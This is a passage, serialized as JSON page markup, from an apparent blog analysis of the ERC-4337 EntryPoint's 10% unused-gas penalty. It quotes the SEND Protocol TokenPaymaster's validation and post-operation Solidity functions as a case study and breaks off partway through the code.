When a ",{"type":19,"tag":27,"props":100389,"children":100391},{"className":100390},[],[100392],{"type":24,"value":99669},{"type":24,"value":100394}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":19,"tag":27,"props":100396,"children":100398},{"className":100397},[],[100399],{"type":24,"value":99750},{"type":24,"value":100401}," charges a ",{"type":19,"tag":269,"props":100403,"children":100406},{"href":100404,"rel":100405},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[273],[100407],{"type":24,"value":100408},"penalty of 10%",{"type":24,"value":100410}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":19,"tag":20,"props":100412,"children":100413},{},[100414],{"type":24,"value":100415},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":19,"tag":158,"props":100417,"children":100419},{"className":1905,"code":100418,"language":1904,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[100420],{"type":19,"tag":27,"props":100421,"children":100422},{"__ignoreMap":7},[100423,100467,100474,100531,100539,100547,100589,100596,100608,100630,100651,100681,100732,100762,100783,100821,100860,100877,100916,100940,100957,101000,101022,101039,101056,101063,101070,101096,101113,101148,101179,101191,101238,101245,101252,101259,101326,101333,101340,101347,101358,101377,101396,101460,101483,101516,101531,101566,101574,101613,101638,101659,101667,101694,101721,101729,101737,101779,101786,101793,101817,101833,101840,101847,101865,101878,101885,101893],{"type":19,"tag":168,"props":100424,"children":100425},{"class":170,"line":171},[100426,100430,100435,100440,100445,100449,100454,100458,100463],{"type":19,"tag":168,"props":100427,"children":100428},{"style":382},[100429],{"type":24,"value":87303},{"type":19,"tag":168,"props":100431,"children":100432},{"style":825},[100433],{"type":24,"value":100434}," TokenPaymaster",{"type":19,"tag":168,"props":100436,"children":100437},{"style":382},[100438],{"type":24,"value":100439}," is",{"type":19,"tag":168,"props":100441,"children":100442},{"style":825},[100443],{"type":24,"value":100444}," BasePaymaster",{"type":19,"tag":168,"props":100446,"children":100447},{"style":212},[100448],{"type":24,"value":471},{"type":19,"tag":168,"props":100450,"children":100451},{"style":825},[100452],{"type":24,"value":100453},"UniswapHelper",{"type":19,"tag":168,"props":100455,"children":100456},{"style":212},[100457],{"type":24,"value":471},{"type":19,"tag":168,"props":100459,"children":100460},{"style":825},[100461],{"type":24,"value":100462},"OracleHelper",{"type":19,"tag":168,"props":100464,"children":100465},{"style":212},[100466],{"type":24,"value":691},{"type":19,"tag":168,"props":100468,"children":100469},{"class":170,"line":198},[100470],{"type":19,"tag":168,"props":100471,"children":100472},{"style":212},[100473],{"type":24,"value":7761},{"type":19,"tag":168,"props":100475,"children":100476},{"class":170,"line":415},[100477,100481,100486,100490,100495,100500,100505,100509,100514,100518,100522,100527],{"type":19,"tag":168,"props":100478,"children":100479},{"style":382},[100480],{"type":24,"value":87320},{"type":19,"tag":168,"props":100482,"children":100483},{"style":175},[100484],{"type":24,"value":100485}," _validatePaymasterUserOp",{"type":19,"tag":168,"props":100487,"children":100488},{"style":212},[100489],{"type":24,"value":500},{"type":19,"tag":168,"props":100491,"children":100492},{"style":382},[100493],{"type":24,"value":100494},"PackedUserOperation",{"type":19,"tag":168,"props":100496,"children":100497},{"style":382},[100498],{"type":24,"value":100499}," calldata",{"type":19,"tag":168,"props":100501,"children":100502},{"style":393},[100503],{"type":24,"value":100504}," userOp",{"type":19,"tag":168,"props":100506,"children":100507},{"style":212},[100508],{"type":24,"value":471},{"type":19,"tag":168,"props":100510,"children":100511},{"style":825},[100512],{"type":24,"value":100513},"bytes32",{"type":19,"tag":168,"props":100515,"children":100516},{"style":212},[100517],{"type":24,"value":471},{"type":19,"tag":168,"props":100519,"children":100520},{"style":825},[100521],{"type":24,"value":43649},{"type":19,"tag":168,"props":100523,"children":100524},{"style":393},[100525],{"type":24,"value":100526}," requiredPreFund",{"type":19,"tag":168,"props":100528,"children":100529},{"style":212},[100530],{"type":24,"value":557},{"type":19,"tag":168,"props":100532,"children":100533},{"class":170,"line":450},[100534],{"type":19,"tag":168,"props":100535,"children":100536},{"style":382},[100537],{"type":24,"value":100538}," internal\n",{"type":19,"tag":168,"props":100540,"children":100541},{"class":170,"line":560},[100542],{"type":19,"tag":168,"props":100543,"children":100544},{"style":382},[100545],{"type":24,"value":100546}," override\n",{"type":19,"tag":168,"props":100548,"children":100549},{"class":170,"line":666},[100550,100555,100559,100563,100568,100572,100576,100580,100585],{"type":19,"tag":168,"props":100551,"children":100552},{"style":419},[100553],{"type":24,"value":100554}," returns",{"type":19,"tag":168,"props":100556,"children":100557},{"style":212},[100558],{"type":24,"value":461},{"type":19,"tag":168,"props":100560,"children":100561},{"style":825},[100562],{"type":24,"value":81317},{"type":19,"tag":168,"props":100564,"children":100565},{"style":382},[100566],{"type":24,"value":100567}," memory",{"type":19,"tag":168,"props":100569,"children":100570},{"style":393},[100571],{"type":24,"value":73829},{"type":19,"tag":168,"props":100573,"children":100574},{"style":212},[100575],{"type":24,"value":471},{"type":19,"tag":168,"props":100577,"children":100578},{"style":825},[100579],{"type":24,"value":43649},{"type":19,"tag":168,"props":100581,"children":100582},{"style":393},[100583],{"type":24,"value":100584}," validationResult",{"type":19,"tag":168,"props":100586,"children":100587},{"style":212},[100588],{"type":24,"value":557},{"type":19,"tag":168,"props":100590,"children":100591},{"class":170,"line":694},[100592],{"type":19,"tag":168,"props":100593,"children":100594},{"style":212},[100595],{"type":24,"value":26657},{"type":19,"tag":168,"props":100597,"children":100598},{"class":170,"line":707},[100599,100604],{"type":19,"tag":168,"props":100600,"children":100601},{"style":419},[100602],{"type":24,"value":100603}," unchecked",{"type":19,"tag":168,"props":100605,"children":100606},{"style":212},[100607],{"type":24,"value":691},{"type":19,"tag":168,"props":100609,"children":100610},{"class":170,"line":725},[100611,100616,100621,100625],{"type":19,"tag":168,"props":100612,"children":100613},{"style":825},[100614],{"type":24,"value":100615}," uint256",{"type":19,"tag":168,"props":100617,"children":100618},{"style":212},[100619],{"type":24,"value":100620}," priceMarkup ",{"type":19,"tag":168,"props":100622,"children":100623},{"style":399},[100624],{"type":24,"value":486},{"type":19,"tag":168,"props":100626,"children":100627},{"style":212},[100628],{"type":24,"value":100629}," tokenPaymasterConfig.priceMarkup;\n",{"type":19,"tag":168,"props":100631,"children":100632},{"class":170,"line":746},[100633,100637,100642,100646],{"type":19,"tag":168,"props":100634,"children":100635},{"style":825},[100636],{"type":24,"value":100615},{"type":19,"tag":168,"props":100638,"children":100639},{"style":212},[100640],{"type":24,"value":100641}," baseFee ",{"type":19,"tag":168,"props":100643,"children":100644},{"style":399},[100645],{"type":24,"value":486},{"type":19,"tag":168,"props":100647,"children":100648},{"style":212},[100649],{"type":24,"value":100650}," tokenPaymasterConfig.baseFee;\n",{"type":19,"tag":168,"props":100652,"children":100653},{"class":170,"line":755},[100654,100658,100663,100667,100672,100676],{"type":19,"tag":168,"props":100655,"children":100656},{"style":825},[100657],{"type":24,"value":100615},{"type":19,"tag":168,"props":100659,"children":100660},{"style":212},[100661],{"type":24,"value":100662}," dataLength ",{"type":19,"tag":168,"props":100664,"children":100665},{"style":399},[100666],{"type":24,"value":486},{"type":19,"tag":168,"props":100668,"children":100669},{"style":212},[100670],{"type":24,"value":100671}," userOp.paymasterAndData.length ",{"type":19,"tag":168,"props":100673,"children":100674},{"style":399},[100675],{"type":24,"value":1757},{"type":19,"tag":168,"props":100677,"children":100678},{"style":212},[100679],{"type":24,"value":100680}," PAYMASTER_DATA_OFFSET;\n",{"type":19,"tag":168,"props":100682,"children":100683},{"class":170,"line":1008},[100684,100689,100694,100698,100702,100706,100710,100714,100719,100723,100728],{"type":19,"tag":168,"props":100685,"children":100686},{"style":419},[100687],{"type":24,"value":100688}," require",{"type":19,"tag":168,"props":100690,"children":100691},{"style":212},[100692],{"type":24,"value":100693},"(dataLength ",{"type":19,"tag":168,"props":100695,"children":100696},{"style":399},[100697],{"type":24,"value":6013},{"type":19,"tag":168,"props":100699,"children":100700},{"style":192},[100701],{"type":24,"value":437},{"type":19,"tag":168,"props":100703,"children":100704},{"style":399},[100705],{"type":24,"value":21164},{"type":19,"tag":168,"props":100707,"children":100708},{"style":212},[100709],{"type":24,"value":100662},{"type":19,"tag":168,"props":100711,"children":100712},{"style":399},[100713],{"type":24,"value":6013},{"type":19,"tag":168,"props":100715,"children":100716},{"style":192},[100717],{"type":24,"value":100718}," 32",{"type":19,"tag":168,"props":100720,"children":100721},{"style":212},[100722],{"type":24,"value":471},{"type":19,"tag":168,"props":100724,"children":100725},{"style":181},[100726],{"type":24,"value":100727},"\"TPM: invalid data length\"",{"type":19,"tag":168,"props":100729,"children":100730},{"style":212},[100731],{"type":24,"value":1249},{"type":19,"tag":168,"props":100733,"children":100734},{"class":170,"line":1025},[100735,100739,100744,100748,100753,100758],{"type":19,"tag":168,"props":100736,"children":100737},{"style":825},[100738],{"type":24,"value":100615},{"type":19,"tag":168,"props":100740,"children":100741},{"style":212},[100742],{"type":24,"value":100743}," maxFeePerGas ",{"type":19,"tag":168,"props":100745,"children":100746},{"style":399},[100747],{"type":24,"value":486},{"type":19,"tag":168,"props":100749,"children":100750},{"style":212},[100751],{"type":24,"value":100752}," userOp.",{"type":19,"tag":168,"props":100754,"children":100755},{"style":175},[100756],{"type":24,"value":100757},"unpackMaxFeePerGas",{"type":19,"tag":168,"props":100759,"children":100760},{"style":212},[100761],{"type":24,"value":1084},{"type":19,"tag":168,"props":100763,"children":100764},{"class":170,"line":1042},[100765,100769,100774,100778],{"type":19,"tag":168,"props":100766,"children":100767},{"style":825},[100768],{"type":24,"value":100615},{"type":19,"tag":168,"props":100770,"children":100771},{"style":212},[100772],{"type":24,"value":100773}," refundPostopCost ",{"type":19,"tag":168,"props":100775,"children":100776},{"style":399},[100777],{"type":24,"value":486},{"type":19,"tag":168,"props":100779,"children":100780},{"style":212},[100781],{"type":24,"value":100782}," tokenPaymasterConfig.refundPostopCost;\n",{"type":19,"tag":168,"props":100784,"children":100785},{"class":170,"line":1055},[100786,100790,100795,100799,100803,100808,100812,100817],{"type":19,"tag":168,"props":100787,"children":100788},{"style":419},[100789],{"type":24,"value":100688},{"type":19,"tag":168,"props":100791,"children":100792},{"style":212},[100793],{"type":24,"value":100794},"(refundPostopCost ",{"type":19,"tag":168,"props":100796,"children":100797},{"style":399},[100798],{"type":24,"value":3240},{"type":19,"tag":168,"props":100800,"children":100801},{"style":212},[100802],{"type":24,"value":100752},{"type":19,"tag":168,"props":100804,"children":100805},{"style":175},[100806],{"type":24,"value":100807},"unpackPostOpGasLimit",{"type":19,"tag":168,"props":100809,"children":100810},{"style":212},[100811],{"type":24,"value":15826},{"type":19,"tag":168,"props":100813,"children":100814},{"style":181},[100815],{"type":24,"value":100816},"\"TPM: postOpGasLimit too low\"",{"type":19,"tag":168,"props":100818,"children":100819},{"style":212},[100820],{"type":24,"value":1249},{"type":19,"tag":168,"props":100822,"children":100823},{"class":170,"line":1064},[100824,100828,100833,100837,100842,100846,100851,100855],{"type":19,"tag":168,"props":100825,"children":100826},{"style":825},[100827],{"type":24,"value":100615},{"type":19,"tag":168,"props":100829,"children":100830},{"style":212},[100831],{"type":24,"value":100832}," preChargeNative ",{"type":19,"tag":168,"props":100834,"children":100835},{"style":399},[100836],{"type":24,"value":486},{"type":19,"tag":168,"props":100838,"children":100839},{"style":212},[100840],{"type":24,"value":100841}," requiredPreFund ",{"type":19,"tag":168,"props":100843,"children":100844},{"style":399},[100845],{"type":24,"value":1811},{"type":19,"tag":168,"props":100847,"children":100848},{"style":212},[100849],{"type":24,"value":100850}," (refundPostopCost ",{"type":19,"tag":168,"props":100852,"children":100853},{"style":399},[100854],{"type":24,"value":2002},{"type":19,"tag":168,"props":100856,"children":100857},{"style":212},[100858],{"type":24,"value":100859}," maxFeePerGas);\n",{"type":19,"tag":168,"props":100861,"children":100862},{"class":170,"line":1087},[100863,100868,100872],{"type":19,"tag":168,"props":100864,"children":100865},{"style":373},[100866],{"type":24,"value":100867}," // ",{"type":19,"tag":168,"props":100869,"children":100870},{"style":382},[100871],{"type":24,"value":64245},{"type":19,"tag":168,"props":100873,"children":100874},{"style":373},[100875],{"type":24,"value":100876},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":19,"tag":168,"props":100878,"children":100879},{"class":170,"line":1096},[100880,100884,100889,100893,100898,100902,100907,100911],{"type":19,"tag":168,"props":100881,"children":100882},{"style":825},[100883],{"type":24,"value":100615},{"type":19,"tag":168,"props":100885,"children":100886},{"style":212},[100887],{"type":24,"value":100888}," cachedPriceWithMarkup ",{"type":19,"tag":168,"props":100890,"children":100891},{"style":399},[100892],{"type":24,"value":486},{"type":19,"tag":168,"props":100894,"children":100895},{"style":212},[100896],{"type":24,"value":100897}," cachedPrice ",{"type":19,"tag":168,"props":100899,"children":100900},{"style":399},[100901],{"type":24,"value":2002},{"type":19,"tag":168,"props":100903,"children":100904},{"style":212},[100905],{"type":24,"value":100906}," DENOM ",{"type":19,"tag":168,"props":100908,"children":100909},{"style":399},[100910],{"type":24,"value":2012},{"type":19,"tag":168,"props":100912,"children":100913},{"style":212},[100914],{"type":24,"value":100915}," priceMarkup;\n",{"type":19,"tag":168,"props":100917,"children":100918},{"class":170,"line":1105},[100919,100923,100928,100932,100936],{"type":19,"tag":168,"props":100920,"children":100921},{"style":419},[100922],{"type":24,"value":56285},{"type":19,"tag":168,"props":100924,"children":100925},{"style":212},[100926],{"type":24,"value":100927}," (dataLength ",{"type":19,"tag":168,"props":100929,"children":100930},{"style":399},[100931],{"type":24,"value":6013},{"type":19,"tag":168,"props":100933,"children":100934},{"style":192},[100935],{"type":24,"value":100718},{"type":19,"tag":168,"props":100937,"children":100938},{"style":212},[100939],{"type":24,"value":12250},{"type":19,"tag":168,"props":100941,"children":100942},{"class":170,"line":1174},[100943,100948,100953],{"type":19,"tag":168,"props":100944,"children":100945},{"style":825},[100946],{"type":24,"value":100947}," uint256",{"type":19,"tag":168,"props":100949,"children":100950},{"style":212},[100951],{"type":24,"value":100952}," clientSuppliedPrice ",{"type":19,"tag":168,"props":100954,"children":100955},{"style":399},[100956],{"type":24,"value":12139},{"type":19,"tag":168,"props":100958,"children":100959},{"class":170,"line":1182},[100960,100965,100969,100973,100978,100982,100987,100991,100995],{"type":19,"tag":168,"props":100961,"children":100962},{"style":825},[100963],{"type":24,"value":100964}," uint256",{"type":19,"tag":168,"props":100966,"children":100967},{"style":212},[100968],{"type":24,"value":500},{"type":19,"tag":168,"props":100970,"children":100971},{"style":825},[100972],{"type":24,"value":100513},{"type":19,"tag":168,"props":100974,"children":100975},{"style":212},[100976],{"type":24,"value":100977},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":19,"tag":168,"props":100979,"children":100980},{"style":399},[100981],{"type":24,"value":1922},{"type":19,"tag":168,"props":100983,"children":100984},{"style":212},[100985],{"type":24,"value":100986},"PAYMASTER_DATA_OFFSET ",{"type":19,"tag":168,"props":100988,"children":100989},{"style":399},[100990],{"type":24,"value":1811},{"type":19,"tag":168,"props":100992,"children":100993},{"style":192},[100994],{"type":24,"value":100718},{"type":19,"tag":168,"props":100996,"children":100997},{"style":212},[100998],{"type":24,"value":100999},"]));\n",{"type":19,"tag":168,"props":101001,"children":101002},{"class":170,"line":1212},[101003,101008,101013,101017],{"type":19,"tag":168,"props":101004,"children":101005},{"style":419},[101006],{"type":24,"value":101007}," if",{"type":19,"tag":168,"props":101009,"children":101010},{"style":212},[101011],{"type":24,"value":101012}," (clientSuppliedPrice ",{"type":19,"tag":168,"props":101014,"children":101015},{"style":399},[101016],{"type":24,"value":3240},{"type":19,"tag":168,"props":101018,"children":101019},{"style":212},[101020],{"type":24,"value":101021}," cachedPriceWithMarkup) {\n",{"type":19,"tag":168,"props":101023,"children":101024},{"class":170,"line":1220},[101025,101030,101034],{"type":19,"tag":168,"props":101026,"children":101027},{"style":373},[101028],{"type":24,"value":101029}," // ",{"type":19,"tag":168,"props":101031,"children":101032},{"style":382},[101033],{"type":24,"value":64245},{"type":19,"tag":168,"props":101035,"children":101036},{"style":373},[101037],{"type":24,"value":101038},": smaller number means 'more native asset per token'\n",{"type":19,"tag":168,"props":101040,"children":101041},{"class":170,"line":1252},[101042,101047,101051],{"type":19,"tag":168,"props":101043,"children":101044},{"style":212},[101045],{"type":24,"value":101046}," cachedPriceWithMarkup ",{"type":19,"tag":168,"props":101048,"children":101049},{"style":399},[101050],{"type":24,"value":486},{"type":19,"tag":168,"props":101052,"children":101053},{"style":212},[101054],{"type":24,"value":101055}," clientSuppliedPrice;\n",{"type":19,"tag":168,"props":101057,"children":101058},{"class":170,"line":1260},[101059],{"type":19,"tag":168,"props":101060,"children":101061},{"style":212},[101062],{"type":24,"value":68558},{"type":19,"tag":168,"props":101064,"children":101065},{"class":170,"line":1320},[101066],{"type":19,"tag":168,"props":101067,"children":101068},{"style":212},[101069],{"type":24,"value":56369},{"type":19,"tag":168,"props":101071,"children":101072},{"class":170,"line":6486},[101073,101077,101082,101086,101091],{"type":19,"tag":168,"props":101074,"children":101075},{"style":825},[101076],{"type":24,"value":100615},{"type":19,"tag":168,"props":101078,"children":101079},{"style":212},[101080],{"type":24,"value":101081}," tokenAmount ",{"type":19,"tag":168,"props":101083,"children":101084},{"style":399},[101085],{"type":24,"value":486},{"type":19,"tag":168,"props":101087,"children":101088},{"style":175},[101089],{"type":24,"value":101090}," weiToToken",{"type":19,"tag":168,"props":101092,"children":101093},{"style":212},[101094],{"type":24,"value":101095},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":19,"tag":168,"props":101097,"children":101098},{"class":170,"line":6504},[101099,101104,101108],{"type":19,"tag":168,"props":101100,"children":101101},{"style":212},[101102],{"type":24,"value":101103}," tokenAmount ",{"type":19,"tag":168,"props":101105,"children":101106},{"style":399},[101107],{"type":24,"value":65924},{"type":19,"tag":168,"props":101109,"children":101110},{"style":212},[101111],{"type":24,"value":101112}," baseFee;\n",{"type":19,"tag":168,"props":101114,"children":101115},{"class":170,"line":6549},[101116,101121,101126,101131,101135,101139,101143],{"type":19,"tag":168,"props":101117,"children":101118},{"style":212},[101119],{"type":24,"value":101120}," SafeERC20.",{"type":19,"tag":168,"props":101122,"children":101123},{"style":175},[101124],{"type":24,"value":101125},"safeTransferFrom",{"type":19,"tag":168,"props":101127,"children":101128},{"style":212},[101129],{"type":24,"value":101130},"(token, userOp.sender, ",{"type":19,"tag":168,"props":101132,"children":101133},{"style":825},[101134],{"type":24,"value":30113},{"type":19,"tag":168,"props":101136,"children":101137},{"style":212},[101138],{"type":24,"value":500},{"type":19,"tag":168,"props":101140,"children":101141},{"style":382},[101142],{"type":24,"value":15143},{"type":19,"tag":168,"props":101144,"children":101145},{"style":212},[101146],{"type":24,"value":101147},"), tokenAmount);\n",{"type":19,"tag":168,"props":101149,"children":101150},{"class":170,"line":6655},[101151,101156,101160,101165,101169,101174],{"type":19,"tag":168,"props":101152,"children":101153},{"style":212},[101154],{"type":24,"value":101155}," context ",{"type":19,"tag":168,"props":101157,"children":101158},{"style":399},[101159],{"type":24,"value":486},{"type":19,"tag":168,"props":101161,"children":101162},{"style":382},[101163],{"type":24,"value":101164}," abi",{"type":19,"tag":168,"props":101166,"children":101167},{"style":212},[101168],{"type":24,"value":948},{"type":19,"tag":168,"props":101170,"children":101171},{"style":175},[101172],{"type":24,"value":101173},"encode",{"type":19,"tag":168,"props":101175,"children":101176},{"style":212},[101177],{"type":24,"value":101178},"(tokenAmount, userOp.sender);\n",{"type":19,"tag":168,"props":101180,"children":101181},{"class":170,"line":20965},[101182,101187],{"type":19,"tag":168,"props":101183,"children":101184},{"style":212},[101185],{"type":24,"value":101186}," validationResult ",{"type":19,"tag":168,"props":101188,"children":101189},{"style":399},[101190],{"type":24,"value":12139},{"type":19,"tag":168,"props":101192,"children":101193},{"class":170,"line":21000},[101194,101199,101203,101207,101211,101216,101221,101225,101230,101234],{"type":19,"tag":168,"props":101195,"children":101196},{"style":175},[101197],{"type":24,"value":101198}," _packValidationData",{"type":19,"tag":168,"props":101200,"children":101201},{"style":212},[101202],{"type":24,"value":500},{"type":19,"tag":168,"props":101204,"children":101205},{"style":382},[101206],{"type":24,"value":5612},{"type":19,"tag":168,"props":101208,"children":101209},{"style":212},[101210],{"type":24,"value":471},{"type":19,"tag":168,"props":101212,"children":101213},{"style":825},[101214],{"type":24,"value":101215},"uint48",{"type":19,"tag":168,"props":101217,"children":101218},{"style":212},[101219],{"type":24,"value":101220},"(cachedPriceTimestamp ",{"type":19,"tag":168,"props":101222,"children":101223},{"style":399},[101224],{"type":24,"value":1811},{"type":19,"tag":168,"props":101226,"children":101227},{"style":212},[101228],{"type":24,"value":101229}," tokenPaymasterConfig.priceMaxAge), ",{"type":19,"tag":168,"props":101231,"children":101232},{"style":192},[101233],{"type":24,"value":1452},{"type":19,"tag":168,"props":101235,"children":101236},{"style":212},[101237],{"type":24,"value":1249},{"type":19,"tag":168,"props":101239,"children":101240},{"class":170,"line":21008},[101241],{"type":19,"tag":168,"props":101242,"children":101243},{"style":212},[101244],{"type":24,"value":752},{"type":19,"tag":168,"props":101246,"children":101247},{"class":170,"line":21016},[101248],{"type":19,"tag":168,"props":101249,"children":101250},{"style":212},[101251],{"type":24,"value":761},{"type":19,"tag":168,"props":101253,"children":101254},{"class":170,"line":21025},[101255],{"type":19,"tag":168,"props":101256,"children":101257},{"style":212},[101258],{"type":24,"value":7761},{"type":19,"tag":168,"props":101260,"children":101261},{"class":170,"line":21067},[101262,101266,101271,101275,101280,101284,101288,101292,101296,101300,101304,101309,101313,101317,101322],{"type":19,"tag":168,"props":101263,"children":101264},{"style":382},[101265],{"type":24,"value":87320},{"type":19,"tag":168,"props":101267,"children":101268},{"style":175},[101269],{"type":24,"value":101270}," _postOp",{"type":19,"tag":168,"props":101272,"children":101273},{"style":212},[101274],{"type":24,"value":500},{"type":19,"tag":168,"props":101276,"children":101277},{"style":382},[101278],{"type":24,"value":101279},"PostOpMode",{"type":19,"tag":168,"props":101281,"children":101282},{"style":212},[101283],{"type":24,"value":471},{"type":19,"tag":168,"props":101285,"children":101286},{"style":825},[101287],{"type":24,"value":81317},{"type":19,"tag":168,"props":101289,"children":101290},{"style":382},[101291],{"type":24,"value":100499},{"type":19,"tag":168,"props":101293,"children":101294},{"style":393},[101295],{"type":24,"value":73829},{"type":19,"tag":168,"props":101297,"children":101298},{"style":212},[101299],{"type":24,"value":471},{"type":19,"tag":168,"props":101301,"children":101302},{"style":825},[101303],{"type":24,"value":43649},{"type":19,"tag":168,"props":101305,"children":101306},{"style":393},[101307],{"type":24,"value":101308}," actualGasCost",{"type":19,"tag":168,"props":101310,"children":101311},{"style":212},[101312],{"type":24,"value":471},{"type":19,"tag":168,"props":101314,"children":101315},{"style":825},[101316],{"type":24,"value":43649},{"type":19,"tag":168,"props":101318,"children":101319},{"style":393},[101320],{"type":24,"value":101321}," actualUserOpFeePerGas",{"type":19,"tag":168,"props":101323,"children":101324},{"style":212},[101325],{"type":24,"value":557},{"type":19,"tag":168,"props":101327,"children":101328},{"class":170,"line":21100},[101329],{"type":19,"tag":168,"props":101330,"children":101331},{"style":382},[101332],{"type":24,"value":100538},{"type":19,"tag":168,"props":101334,"children":101335},{"class":170,"line":21108},[101336],{"type":19,"tag":168,"props":101337,"children":101338},{"style":382},[101339],{"type":24,"value":100546},{"type":19,"tag":168,"props":101341,"children":101342},{"class":170,"line":21116},[101343],{"type":19,"tag":168,"props":101344,"children":101345},{"style":212},[101346],{"type":24,"value":26657},{"type":19,"tag":168,"props":101348,"children":101349},{"class":170,"line":21125},[101350,101354],{"type":19,"tag":168,"props":101351,"children":101352},{"style":419},[101353],{"type":24,"value":100603},{"type":19,"tag":168,"props":101355,"children":101356},{"style":212},[101357],{"type":24,"value":691},{"type":19,"tag":168,"props":101359,"children":101360},{"class":170,"line":21201},[101361,101365,101369,101373],{"type":19,"tag":168,"props":101362,"children":101363},{"style":825},[101364],{"type":24,"value":100615},{"type":19,"tag":168,"props":101366,"children":101367},{"style":212},[101368],{"type":24,"value":100620},{"type":19,"tag":168,"props":101370,"children":101371},{"style":399},[101372],{"type":24,"value":486},{"type":19,"tag":168,"props":101374,"children":101375},{"style":212},[101376],{"type":24,"value":100629},{"type":19,"tag":168,"props":101378,"children":101379},{"class":170,"line":21234},[101380,101384,101388,101392],{"type":19,"tag":168,"props":101381,"children":101382},{"style":825},[101383],{"type":24,"value":100615},{"type":19,"tag":168,"props":101385,"children":101386},{"style":212},[101387],{"type":24,"value":100641},{"type":19,"tag":168,"props":101389,"children":101390},{"style":399},[101391],{"type":24,"value":486},{"type":19,"tag":168,"props":101393,"children":101394},{"style":212},[101395],{"type":24,"value":100650},{"type":19,"tag":168,"props":101397,"children":101398},{"class":170,"line":21242},[101399,101404,101408,101413,101417,101422,101426,101430,101434,101439,101444,101448,101452,101456],{"type":19,"tag":168,"props":101400,"children":101401},{"style":212},[101402],{"type":24,"value":101403}," (",{"type":19,"tag":168,"props":101405,"children":101406},{"style":825},[101407],{"type":24,"value":43649},{"type":19,"tag":168,"props":101409,"children":101410},{"style":212},[101411],{"type":24,"value":101412}," preCharge, ",{"type":19,"tag":168,"props":101414,"children":101415},{"style":825},[101416],{"type":24,"value":30113},{"type":19,"tag":168,"props":101418,"children":101419},{"style":212},[101420],{"type":24,"value":101421}," userOpSender) ",{"type":19,"tag":168,"props":101423,"children":101424},{"style":399},[101425],{"type":24,"value":486},{"type":19,"tag":168,"props":101427,"children":101428},{"style":382},[101429],{"type":24,"value":101164},{"type":19,"tag":168,"props":101431,"children":101432},{"style":212},[101433],{"type":24,"value":948},{"type":19,"tag":168,"props":101435,"children":101436},{"style":175},[101437],{"type":24,"value":101438},"decode",{"type":19,"tag":168,"props":101440,"children":101441},{"style":212},[101442],{"type":24,"value":101443},"(context, (",{"type":19,"tag":168,"props":101445,"children":101446},{"style":825},[101447],{"type":24,"value":43649},{"type":19,"tag":168,"props":101449,"children":101450},{"style":212},[101451],{"type":24,"value":471},{"type":19,"tag":168,"props":101453,"children":101454},{"style":825},[101455],{"type":24,"value":30113},{"type":19,"tag":168,"props":101457,"children":101458},{"style":212},[101459],{"type":24,"value":4659},{"type":19,"tag":168,"props":101461,"children":101462},{"class":170,"line":21250},[101463,101468,101473,101478],{"type":19,"tag":168,"props":101464,"children":101465},{"style":212},[101466],{"type":24,"value":101467}," preCharge 